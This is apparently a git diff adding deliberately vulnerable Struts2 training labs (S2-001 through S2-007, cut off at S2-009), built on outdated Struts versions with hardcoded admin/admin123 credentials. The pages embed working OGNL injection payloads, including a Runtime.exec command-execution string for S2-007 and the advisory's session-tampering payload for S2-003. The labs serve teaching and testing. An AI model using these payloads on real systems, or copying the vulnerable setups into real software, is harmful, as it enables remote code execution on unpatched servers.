--git a/shiro-cve-2020-17523/src/main/resources/application.properties b/shiro-cve-2020-17523/src/main/resources/application.properties new file mode 100644 index 0000000..49b7186 --- /dev/null +++ b/shiro-cve-2020-17523/src/main/resources/application.properties @@ -0,0 +1,3 @@ +server.port=8080 +server.session.timeout=30 +logging.level.org.apache.shiro=INFO diff --git a/struts2-s2-001/Dockerfile b/struts2-s2-001/Dockerfile new file mode 100644 index 0000000..ab2a7b7 --- /dev/null +++ b/struts2-s2-001/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-001 +WORKDIR /opt/struts2-s2-001 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-001/target/struts2-s2-001.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-001/Dockerfile_local b/struts2-s2-001/Dockerfile_local new file mode 100644 index 0000000..cae087a --- /dev/null +++ b/struts2-s2-001/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-001.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-001/docker-compose.yaml b/struts2-s2-001/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-001/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-001/pom.xml b/struts2-s2-001/pom.xml new file mode 100644 index 0000000..86c3e48 --- /dev/null +++ b/struts2-s2-001/pom.xml @@ -0,0 +1,65 @@ + + + 4.0.0 + + org.example + struts2-s2-001 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.0.8 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-001 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-001/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-001/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-001/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-001/src/main/java/com/myapp/action/LoginAction.java b/struts2-s2-001/src/main/java/com/myapp/action/LoginAction.java new file mode 100644 index 0000000..20459b4 --- /dev/null +++ b/struts2-s2-001/src/main/java/com/myapp/action/LoginAction.java @@ -0,0 +1,41 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class LoginAction extends ActionSupport { + + private String username; + private String password; + + @Override + public String execute() { + if ("admin".equals(username) && "admin123".equals(password)) { + return SUCCESS; + } + addActionError("用户名或密码错误。"); + return INPUT; + } + + @Override + public void validate() { + if (password == null || password.trim().isEmpty()) { + addFieldError("password", "密码不能为空。"); + } + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } +} diff --git a/struts2-s2-001/src/main/resources/log4j.properties b/struts2-s2-001/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-001/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-001/src/main/resources/struts.xml b/struts2-s2-001/src/main/resources/struts.xml new file mode 100644 index 0000000..c4fcea0 --- /dev/null +++ b/struts2-s2-001/src/main/resources/struts.xml @@ -0,0 +1,20 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + + /WEB-INF/content/login.jsp + /WEB-INF/content/success.jsp + + + diff --git a/struts2-s2-001/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-001/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..bb0a9e8 --- /dev/null +++ b/struts2-s2-001/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,76 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-001 靶场 + + + +
+
+

Struts2 S2-001 演示靶场

+

这个模块使用旧版 Struts2 表单标签和校验失败回填场景,用来演示 S2-001 / CVE-2007-4556。为了安全起见,首页只建议使用无害表达式验证是否发生了 OGNL 二次解析。

+
+
+

推荐入口

+

打开登录页 /login.action

+
POST /login.action
+username=%{7*7}
+password=
+

如果触发表单校验失败且发生表达式解析,重新渲染后的用户名区域会出现计算结果,而不是原始字符串。

+
+
+

快捷测试

+

点击下面的测试按钮会自动把 payload 放到 username,并以空密码提交到 /login.action

+
+ + + + + +
+
+ + +
+
+ + +
+
+
+ + + diff --git a/struts2-s2-001/src/main/webapp/WEB-INF/content/login.jsp b/struts2-s2-001/src/main/webapp/WEB-INF/content/login.jsp new file mode 100644 index 0000000..ddc9ed9 --- /dev/null +++ b/struts2-s2-001/src/main/webapp/WEB-INF/content/login.jsp @@ -0,0 +1,87 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-001 登录页 + + + +
+
+

Struts2 S2-001 登录页

+

账号:admin / admin123。如果密码为空,Struts2 会触发校验失败并回显上次提交值。

+
+ + + + +
+
+ + +
+
+ + +
+ + + + + +
+
+

说明

+
    +
  1. 先提交一次空密码,让页面进入校验失败分支。
  2. +
  3. 用户名字段会被 Struts2 标签重新回填。
  4. +
  5. 这个靶场就是用来观察回填时是否发生了 OGNL 解析。
  6. +
+
+
+ + + diff --git a/struts2-s2-001/src/main/webapp/WEB-INF/content/success.jsp b/struts2-s2-001/src/main/webapp/WEB-INF/content/success.jsp new file mode 100644 index 0000000..a34d831 --- /dev/null +++ b/struts2-s2-001/src/main/webapp/WEB-INF/content/success.jsp @@ -0,0 +1,24 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + 登录成功 + + + +
+
+

登录成功

+

当前用户:

+

返回登录页

+
+
+ + diff --git a/struts2-s2-001/src/main/webapp/WEB-INF/web.xml b/struts2-s2-001/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..59f2c53 --- /dev/null +++ b/struts2-s2-001/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-001 + + + struts2 + org.apache.struts2.dispatcher.FilterDispatcher + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-001/src/main/webapp/index.jsp b/struts2-s2-001/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-001/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-003/Dockerfile b/struts2-s2-003/Dockerfile new file mode 100644 index 0000000..0e4ec49 --- /dev/null +++ b/struts2-s2-003/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-003 +WORKDIR /opt/struts2-s2-003 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-003/target/struts2-s2-003.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-003/Dockerfile_local b/struts2-s2-003/Dockerfile_local new file mode 100644 index 0000000..3fdab1f --- /dev/null +++ b/struts2-s2-003/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-003.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-003/docker-compose.yaml b/struts2-s2-003/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-003/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-003/pom.xml b/struts2-s2-003/pom.xml new file mode 100644 index 0000000..68b8d41 --- /dev/null +++ b/struts2-s2-003/pom.xml @@ -0,0 +1,65 @@ + + + 4.0.0 + + org.example + struts2-s2-003 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.0.11.2 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-003 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-003/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-003/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..5b145ed --- /dev/null +++ b/struts2-s2-003/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,48 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; +import org.apache.struts2.interceptor.SessionAware; + +import java.util.Map; + +public class IndexAction extends ActionSupport implements SessionAware { + + private Map session; + private String sessionUser; + private String sessionAdmin; + private boolean manipulated; + + @Override + public String execute() { + if (session == null) { + sessionUser = "(未设置)"; + sessionAdmin = "(未设置)"; + manipulated = false; + return SUCCESS; + } + Object user = session.get("user"); + Object admin = session.get("isAdmin"); + sessionUser = user == null ? "(未设置)" : String.valueOf(user); + sessionAdmin = admin == null ? "(未设置)" : String.valueOf(admin); + manipulated = user != null || admin != null; + return SUCCESS; + } + + @Override + @SuppressWarnings("rawtypes") + public void setSession(Map session) { + this.session = session; + } + + public String getSessionUser() { + return sessionUser; + } + + public String getSessionAdmin() { + return sessionAdmin; + } + + public boolean isManipulated() { + return manipulated; + } +} diff --git a/struts2-s2-003/src/main/java/com/myapp/action/ResetAction.java b/struts2-s2-003/src/main/java/com/myapp/action/ResetAction.java new file mode 100644 index 0000000..fcbcde5 --- /dev/null +++ b/struts2-s2-003/src/main/java/com/myapp/action/ResetAction.java @@ -0,0 +1,26 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; +import org.apache.struts2.interceptor.SessionAware; + +import java.util.Map; + +public class ResetAction extends ActionSupport implements SessionAware { + + private Map session; + + @Override + public String execute() { + if (session != null) { + session.remove("user"); + session.remove("isAdmin"); + } + return SUCCESS; + } + + @Override + @SuppressWarnings("rawtypes") + public void setSession(Map session) { + this.session = session; + } +} diff --git a/struts2-s2-003/src/main/resources/log4j.properties b/struts2-s2-003/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-003/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-003/src/main/resources/struts.xml b/struts2-s2-003/src/main/resources/struts.xml new file mode 100644 index 0000000..5414bd2 --- /dev/null +++ b/struts2-s2-003/src/main/resources/struts.xml @@ -0,0 +1,19 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + + index.action + + + diff --git a/struts2-s2-003/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-003/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..b197c99 --- /dev/null +++ b/struts2-s2-003/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,120 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-003 靶场 + + + +
+
+

Struts2 S2-003 演示靶场

+

这个模块用来演示 S2-003 / CVE-2008-6504:攻击者通过恶意参数名绕过 # 过滤,直接修改 Struts 的上下文对象。当前页面会把被污染的 session 值直接展示出来,方便你确认是否触发。

+
+
+

当前状态

+
+
+
Session user
+
+
+
+
Session isAdmin
+
+
+
+
污染判定
+ +
已观察到上下文污染
+
+ +
当前仍是干净状态
+
+
+
+
+
+

快捷测试

+

点击按钮后会直接向 /index.action 发送恶意参数名。默认 payload 来自官方公告示例,用来把 #session.user 改成你指定的值。

+
+ + + + +
+
+ + +
+
+ + +
+

+    
+
+

说明

+
    +
  1. 官方公告给出的典型利用是:('\u0023' + 'session\'user\'')(unused)=0wn3d
  2. +
  3. Struts 会把参数名当成 OGNL 路径处理,导致本页展示的 session 字段被直接修改。
  4. +
  5. 这个靶场采用 Struts 2.0.11.2,方便你观察 S2-003 的原始触发方式。
  6. +
+
+
+ + + diff --git a/struts2-s2-003/src/main/webapp/WEB-INF/web.xml b/struts2-s2-003/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..ec711d6 --- /dev/null +++ b/struts2-s2-003/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-003 + + + struts2 + org.apache.struts2.dispatcher.FilterDispatcher + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-003/src/main/webapp/index.jsp b/struts2-s2-003/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-003/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-005/Dockerfile b/struts2-s2-005/Dockerfile new file mode 100644 index 0000000..380d259 --- /dev/null +++ b/struts2-s2-005/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-005 +WORKDIR /opt/struts2-s2-005 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-005/target/struts2-s2-005.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-005/Dockerfile_local b/struts2-s2-005/Dockerfile_local new file mode 100644 index 0000000..e30193a --- /dev/null +++ b/struts2-s2-005/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-005.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-005/docker-compose.yaml b/struts2-s2-005/docker-compose.yaml new file mode 100644 index 0000000..70c268b --- /dev/null +++ b/struts2-s2-005/docker-compose.yaml @@ -0,0 +1,10 @@ +version: "3.8" + +services: + struts2-s2-005: + build: + context: . + dockerfile: Dockerfile + image: javavul/struts2-s2-005-local + ports: + - "8080:8080" diff --git a/struts2-s2-005/pom.xml b/struts2-s2-005/pom.xml new file mode 100644 index 0000000..0f6d22d --- /dev/null +++ b/struts2-s2-005/pom.xml @@ -0,0 +1,65 @@ + + + 4.0.0 + + org.example + struts2-s2-005 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.1.8.1 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-005 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-005/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-005/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..c7ce05e --- /dev/null +++ b/struts2-s2-005/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,51 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +import java.io.File; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; + +public class IndexAction extends ActionSupport { + + public static final String MARKER_PATH = "/tmp/struts2-s2-005-success"; + public static final String OUTPUT_PATH = "/tmp/struts2-s2-005-output.txt"; + + private boolean markerExists; + private boolean outputExists; + private String outputContent; + + @Override + public String execute() { + File markerFile = new File(MARKER_PATH); + File outputFile = new File(OUTPUT_PATH); + markerExists = markerFile.exists(); + outputExists = outputFile.exists(); + outputContent = readFile(outputFile); + return SUCCESS; + } + + private String readFile(File file) { + if (!file.exists()) { + return "(暂无输出文件)"; + } + try { + return new String(Files.readAllBytes(file.toPath()), StandardCharsets.UTF_8).trim(); + } catch (IOException ex) { + return "(读取输出失败: " + ex.getMessage() + ")"; + } + } + + public boolean isMarkerExists() { + return markerExists; + } + + public boolean isOutputExists() { + return outputExists; + } + + public String getOutputContent() { + return outputContent; + } +} diff --git a/struts2-s2-005/src/main/java/com/myapp/action/ResetAction.java b/struts2-s2-005/src/main/java/com/myapp/action/ResetAction.java new file mode 100644 index 0000000..4a56470 --- /dev/null +++ b/struts2-s2-005/src/main/java/com/myapp/action/ResetAction.java @@ -0,0 +1,22 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +import java.io.File; + +public class ResetAction extends ActionSupport { + + @Override + public String execute() { + deleteIfExists(IndexAction.MARKER_PATH); + deleteIfExists(IndexAction.OUTPUT_PATH); + return SUCCESS; + } + + private void deleteIfExists(String path) { + File file = new File(path); + if (file.exists()) { + file.delete(); + } + } +} diff --git a/struts2-s2-005/src/main/resources/log4j.properties b/struts2-s2-005/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-005/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-005/src/main/resources/struts.xml b/struts2-s2-005/src/main/resources/struts.xml new file mode 100644 index 0000000..5414bd2 --- /dev/null +++ b/struts2-s2-005/src/main/resources/struts.xml @@ -0,0 +1,19 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + + index.action + + + diff --git a/struts2-s2-005/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-005/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..7e6208f --- /dev/null +++ b/struts2-s2-005/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,177 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-005 靶场 + + + +
+
+

Struts2 S2-005 演示靶场

+

这个模块用来演示 S2-005 / CVE-2010-1870:攻击者利用参数名 OGNL 绕过,对 #context#_memberAccess 进行修改,最终实现远程命令执行。这里采用更接近公开 PoC 的 canonical payload,并把命令输出直接写回响应页面。

+
+
+

当前状态

+
+
+
标记文件
+ +
/tmp/struts2-s2-005-success 已存在
+
+ +
尚未观察到标记文件
+
+
+
+
输出文件
+ +
/tmp/struts2-s2-005-output.txt 已存在
+
+ +
尚未观察到输出文件
+
+
+
+
+
+
+

快捷测试

+

这里直接生成 canonical 风格 payload。推荐先试 touch /tmp/struts2-s2-005-success,再试 idwhoamiuname -a 这类在精简镜像里也更常见的命令。

+
+ + + + + + + +
+
+ + +
+
+ + +
+

+    
+
+

说明

+
    +
  1. 先通过参数名关闭 denyMethodExecution,再打开 allowStaticMethodAccess 和清空 excludeProperties
  2. +
  3. 随后把命令赋给 #mycmd,执行 @java.lang.Runtime@getRuntime().exec(#mycmd)
  4. +
  5. 最后通过 DataInputStreamServletActionContext@getResponse() 把命令输出以 UTF-8 文本直接写回响应。
  6. +
  7. 这个靶场采用 Struts 2.1.8.1,用于体现 S2-003 修复被继续绕过后的 S2-005 形态。
  8. +
+
+
+ + + diff --git a/struts2-s2-005/src/main/webapp/WEB-INF/web.xml b/struts2-s2-005/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..e3d4a28 --- /dev/null +++ b/struts2-s2-005/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-005 + + + struts2 + org.apache.struts2.dispatcher.FilterDispatcher + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-005/src/main/webapp/index.jsp b/struts2-s2-005/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-005/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-007/Dockerfile b/struts2-s2-007/Dockerfile new file mode 100644 index 0000000..996cb81 --- /dev/null +++ b/struts2-s2-007/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-007 +WORKDIR /opt/struts2-s2-007 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-007/target/struts2-s2-007.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-007/Dockerfile_local b/struts2-s2-007/Dockerfile_local new file mode 100644 index 0000000..589f29f --- /dev/null +++ b/struts2-s2-007/Dockerfile_local @@ -0,0 +1,5 @@ +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY target/struts2-s2-007.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 8080 +CMD ["catalina.sh", "run"] diff --git a/struts2-s2-007/docker-compose.yaml b/struts2-s2-007/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/struts2-s2-007/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/struts2-s2-007/pom.xml b/struts2-s2-007/pom.xml new file mode 100644 index 0000000..513b786 --- /dev/null +++ b/struts2-s2-007/pom.xml @@ -0,0 +1,65 @@ + + + 4.0.0 + + org.example + struts2-s2-007 + 1.0-SNAPSHOT + war + + + UTF-8 + 1.8 + 1.8 + 2.2.3 + + + + + org.apache.struts + struts2-core + ${struts2.version} + + + javax.servlet + javax.servlet-api + 3.1.0 + provided + + + jstl + jstl + 1.2 + + + log4j + log4j + 1.2.17 + + + + + struts2-s2-007 + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-war-plugin + 2.6 + + false + + + + + diff --git a/struts2-s2-007/src/main/java/com/myapp/action/IndexAction.java b/struts2-s2-007/src/main/java/com/myapp/action/IndexAction.java new file mode 100644 index 0000000..969330f --- /dev/null +++ b/struts2-s2-007/src/main/java/com/myapp/action/IndexAction.java @@ -0,0 +1,11 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class IndexAction extends ActionSupport { + + @Override + public String execute() { + return SUCCESS; + } +} diff --git a/struts2-s2-007/src/main/java/com/myapp/action/UserAction.java b/struts2-s2-007/src/main/java/com/myapp/action/UserAction.java new file mode 100644 index 0000000..80e6a33 --- /dev/null +++ b/struts2-s2-007/src/main/java/com/myapp/action/UserAction.java @@ -0,0 +1,40 @@ +package com.myapp.action; + +import com.opensymphony.xwork2.ActionSupport; + +public class UserAction extends ActionSupport { + + private Integer age; + private String name; + private String email; + + @Override + public String execute() { + addActionMessage("用户资料已提交。"); + return SUCCESS; + } + + public Integer getAge() { + return age; + } + + public void setAge(Integer age) { + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getEmail() { + return email; + } + + public void setEmail(String email) { + this.email = email; + } +} diff --git a/struts2-s2-007/src/main/resources/com/myapp/action/UserAction-validation.xml b/struts2-s2-007/src/main/resources/com/myapp/action/UserAction-validation.xml new file mode 100644 index 0000000..9a150e6 --- /dev/null +++ b/struts2-s2-007/src/main/resources/com/myapp/action/UserAction-validation.xml @@ -0,0 +1,13 @@ + + + + + + 1 + 150 + 年龄必须是 1 到 150 之间的整数。 + + + diff --git a/struts2-s2-007/src/main/resources/log4j.properties b/struts2-s2-007/src/main/resources/log4j.properties new file mode 100644 index 0000000..5e88fe7 --- /dev/null +++ b/struts2-s2-007/src/main/resources/log4j.properties @@ -0,0 +1,4 @@ +log4j.rootLogger=INFO, stdout +log4j.appender.stdout=org.apache.log4j.ConsoleAppender +log4j.appender.stdout.layout=org.apache.log4j.PatternLayout +log4j.appender.stdout.layout.ConversionPattern=%d %-5p [%c] %m%n diff --git a/struts2-s2-007/src/main/resources/struts.xml b/struts2-s2-007/src/main/resources/struts.xml new file mode 100644 index 0000000..646a293 --- /dev/null +++ b/struts2-s2-007/src/main/resources/struts.xml @@ -0,0 +1,20 @@ + + + + + + + + + + /WEB-INF/content/index.jsp + + + + /WEB-INF/content/login.jsp + /WEB-INF/content/success.jsp + + + diff --git a/struts2-s2-007/src/main/webapp/WEB-INF/content/index.jsp b/struts2-s2-007/src/main/webapp/WEB-INF/content/index.jsp new file mode 100644 index 0000000..37e0709 --- /dev/null +++ b/struts2-s2-007/src/main/webapp/WEB-INF/content/index.jsp @@ -0,0 +1,34 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-007 靶场 + + + +
+
+

Struts2 S2-007 演示靶场

+

这个模块用来演示 S2-007 / CVE-2012-0838。当 age 字段发生类型转换错误,并且 Action 配置了验证规则时,Struts2 会在错误处理流程里再次解析拼接后的 OGNL 表达式。

+
+
+

推荐入口

+

打开用户资料页 /user.action

+
POST /user.action
+name=demo
+email=demo@example.com
+age=' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false"),#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec('touch /tmp/struts2-s2-007-success')) + '
+

推荐先从页面按钮填充 payload,再触发类型转换错误页。

+
+
+ + diff --git a/struts2-s2-007/src/main/webapp/WEB-INF/content/login.jsp b/struts2-s2-007/src/main/webapp/WEB-INF/content/login.jsp new file mode 100644 index 0000000..ad5ebf2 --- /dev/null +++ b/struts2-s2-007/src/main/webapp/WEB-INF/content/login.jsp @@ -0,0 +1,77 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + Struts2 S2-007 用户资料页 + + + +
+
+

Struts2 S2-007 用户资料页

+

ageInteger,并且配置了 UserAction-validation.xml。让它发生类型转换失败,就会进入 S2-007 的危险路径。

+
+ + +
+
+ + +
+
+ + +
+ + + + + + +
+
+

说明

+
    +
  1. 先把 payload 放进 age
  2. +
  3. 提交后先发生类型转换异常,再命中校验器。
  4. +
  5. 如果漏洞命中,OGNL 会在错误处理流程里被再次执行。
  6. +
+
+
+ + + diff --git a/struts2-s2-007/src/main/webapp/WEB-INF/content/success.jsp b/struts2-s2-007/src/main/webapp/WEB-INF/content/success.jsp new file mode 100644 index 0000000..ff58e38 --- /dev/null +++ b/struts2-s2-007/src/main/webapp/WEB-INF/content/success.jsp @@ -0,0 +1,26 @@ +<%@ taglib prefix="s" uri="/struts-tags" %> +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + + + + + 登录成功 + + + +
+
+

提交成功

+

姓名:

+

邮箱:

+

年龄:

+

返回用户资料页

+
+
+ + diff --git a/struts2-s2-007/src/main/webapp/WEB-INF/web.xml b/struts2-s2-007/src/main/webapp/WEB-INF/web.xml new file mode 100644 index 0000000..1aa1908 --- /dev/null +++ b/struts2-s2-007/src/main/webapp/WEB-INF/web.xml @@ -0,0 +1,21 @@ + + + struts2-s2-007 + + + struts2 + org.apache.struts2.dispatcher.FilterDispatcher + + + + struts2 + /* + + + + index.jsp + + diff --git a/struts2-s2-007/src/main/webapp/index.jsp b/struts2-s2-007/src/main/webapp/index.jsp new file mode 100644 index 0000000..8f282b6 --- /dev/null +++ b/struts2-s2-007/src/main/webapp/index.jsp @@ -0,0 +1,2 @@ +<%@ page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" %> + diff --git a/struts2-s2-009/Dockerfile b/struts2-s2-009/Dockerfile new file mode 100644 index 0000000..dd31ae8 --- /dev/null +++ b/struts2-s2-009/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/struts2-s2-009 +WORKDIR /opt/struts2-s2-009 +RUN mvn package -DskipTests + +FROM tomcat:7-jre8 +RUN rm -rf /usr/local/tomcat/webapps/* +COPY --from=builder /opt/struts2-s2-009/target/struts2-s2-009.war /usr/local/tomcat/webapps/ROOT.war +EXPOSE 